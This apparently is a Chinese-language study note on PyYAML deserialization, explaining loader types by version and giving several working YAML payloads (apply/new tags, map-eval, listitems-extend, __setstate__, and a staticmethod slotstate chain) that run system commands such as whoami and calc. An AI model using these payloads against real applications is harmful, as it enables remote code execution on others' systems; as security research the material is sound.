YAML反序列化
一问可能三不知的YAML反序列化
简单介绍
Yaml简介
YAML是一种直观的能够被电脑识别的的数据序列化格式,容易被人类阅读,并且容易和脚本语言交互,YAML类似于XML,但是语法比XML简单得多,对于转化成数组或可以hash的数据时是很简单有效的。
应用
由于其只是一种数据格式,那么它自然可以在多种语言里大展神威。鉴于主包现在储备有限,目前只能记录一下pyyaml的学习部分,至于Java大概要等之后了。
PyYAML
pip show pyyaml#查看pyyaml版本
version<5.1
PyYaml下支持所有yaml标签转化为python对应类型,详见Yaml与python类型的对照表
其中有五个强大的Complex Python tags支持转化为指定的python模块,类,方法以及对象实例
YAML tag | Python tag |
---|---|
!!python/name:module.name | module.name |
!!python/module:package.module | package.module |
!!python/object:module.cls | module.cls instance |
!!python/object/new:module.cls | module.cls instance |
!!python/object/apply:module.f | value of f(…) |
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/apply:subprocess.check_output [["calc.exe"]]
=5.1
在 PyYAML >= 5.1 时,开发者就将构造器分为:
BaseConstructor
:没有任何强制类型转换SafeConstructor
:只有基础类型的强制类型转换FullConstructor
:除了python/object/apply
之外都支持,但是加载的模块必须位于sys.modules
中(说明已经主动 import 过了才让加载)。这个是默认的构造器。UnsafeConstructor
:支持全部的强制类型转换Constructor
:等同于UnsafeConstructor
那么load
时需要主动指定加载器了,否则就会报错 the default Loader is unsafe,默认FullLoader
此时,我们需要增加一个loader请求参数:
import yaml
f = open('config.yml','r')
y = yaml.load(f,Loader=yaml.FullLoader)
print(y)
针对不同的需要,加载器有如下几种类型:
- BaseLoader:仅加载最基本的YAML
- SafeLoader:安全地加载YAML语言的子集,建议用于加载不受信任的输入(safe_load)
- FullLoader:加载完整的YAML语言,避免任意代码执行,这是当前(PyYAML 5.1)默认加载器调用yaml.load(input) (出警告后)(full_load)
- UnsafeLoader(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)
大概是这样子
from yaml import *
data = b"""!!python/object/apply:subprocess.Popen
- calc"""
deserialized_data = load(data, Loader=Loader) # deserializing data
print(deserialized_data)
这样的构造器还有:
yaml.unsafe_load(exp)
yaml.unsafe_load_all(exp)
yaml.load(exp, Loader=UnsafeLoader)
yaml.load(exp, Loader=Loader)
yaml.load_all(exp, Loader=UnsafeLoader)
yaml.load_all(exp, Loader=Loader)
除了apply之外。还可以利用map来打
map
在 python3 中 map 返回的是个迭代器,那么可以配合其他函数进行 rce ,比如
tuple(map(eval, ["__import__('os').system('whoami')"]))
# 其中返回的数据类型tuple可以换成list、set、bytes、frozenset都行
import yaml
poc = '''
!!python/object/new:tuple (frozenset/bytes)
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('whoami')"]
'''
yaml.load(poc)
listitems 触发 extend
从上面的分析可以看出来,我们不需要直接命令执行,只需要满足 触发带参调用 + 引入函数 就能rce
在construct_python_object_apply
中看到
对于 listitems,这里作为参数可以调用前面返回的类里的 extend 方法
那么我们就需要自行构造一个类,实例化后有 extend 方法可以调用
使用 type() 构造一个 test 类,其中具有 extend 方法,调用 exec
type("test",tuple(),{"extend":exec})().extend("__import__('os').system('whoami')")
Python
于是可以构造出poc:
!!python/object/new:type
args:
- test
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
#创建了一个类型为z的新对象,而对象中extend属性在创建时会被调用,参数为listitems内的参数
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('whoami')"
- !!python/object/new:yaml.MappingNode
listitems: !!str '!!python/object/apply:subprocess.Popen [whoami]'
state:
tag: !!str dummy
value: !!str dummy
extend: !!python/name:yaml.unsafe_load
state触发
既然 listitems 可以利用,那么同样作为分支判断其中调用方法的还有 state
跟进 set_python_instance_state
__setstate__
只需要 instance 里有 setstate 就会调用,修改下上面 extend 的 poc 就能用:
!!python/object/new:type
args:
- test
- !!python/tuple []
- {"__setstate__": !!python/name:exec }
state: "__import__('os').system('whoami')"
update
一开始的想法是打instance.__dict__.update(state)
,但是发现 dict 好像覆写不掉
那么这里的目标转到slotstate.update(state)
要进入这个判断要求类中没有__setstate__
方法,没有__dict__
属性
这个直接上poc调试了
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('whoami')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list
- !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('whoami')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
首先,yaml 解析是从内到外加载的,先加载 !!python/object/new:staticmethod
首次加载
这里会进instance.__dict__.update(state)
,因为静态方法所属类一定有 dict 属性
经过之后 __dict__
中的键值更新
然后是第二轮,加载 !!python/object/new:str
此时的 state 第二项就是恶意payload
然后经过state, slotstate = state
的解构
state 被设置为了我们第一次放入的 state,slotstate 被设置为了我们第二次放入的 state
由于 str 没有__dict__
属性,于是会直接触发 slotstate.update(state)
slotstate.update 此时是 eval,于是rce
总结一下就是做了这样的一个操作:
a=staticmethod(None)
a.__dict__.update({"update":eval,"items":list})
a.update("__import__('os').system('whoami')")
version>=5.2
看到的版本现在已经用不了了,会报错:
raise ConstructorError(None, None,
yaml.constructor.ConstructorError: could not determine a constructor for the tag 'tag:yaml.org,2002:python/object/new:str'
in "<unicode string>", line 2, column 3:
- !!python/object/new:str
^
发现在我这个版本(version==6.1)/object/new
的方法已经完全被舍弃了,只能在UnsafeConstructor
中看到了
那么利用方法必然要变一下了
后面省了一下,这个地方在5.4就被舍弃掉了。。
而剩余可利用的也只剩下一个name
,它相较于5.1时没有太大变化,还是只能引入包而不能进行命令执行
SnakeYAML
java没学,学了再补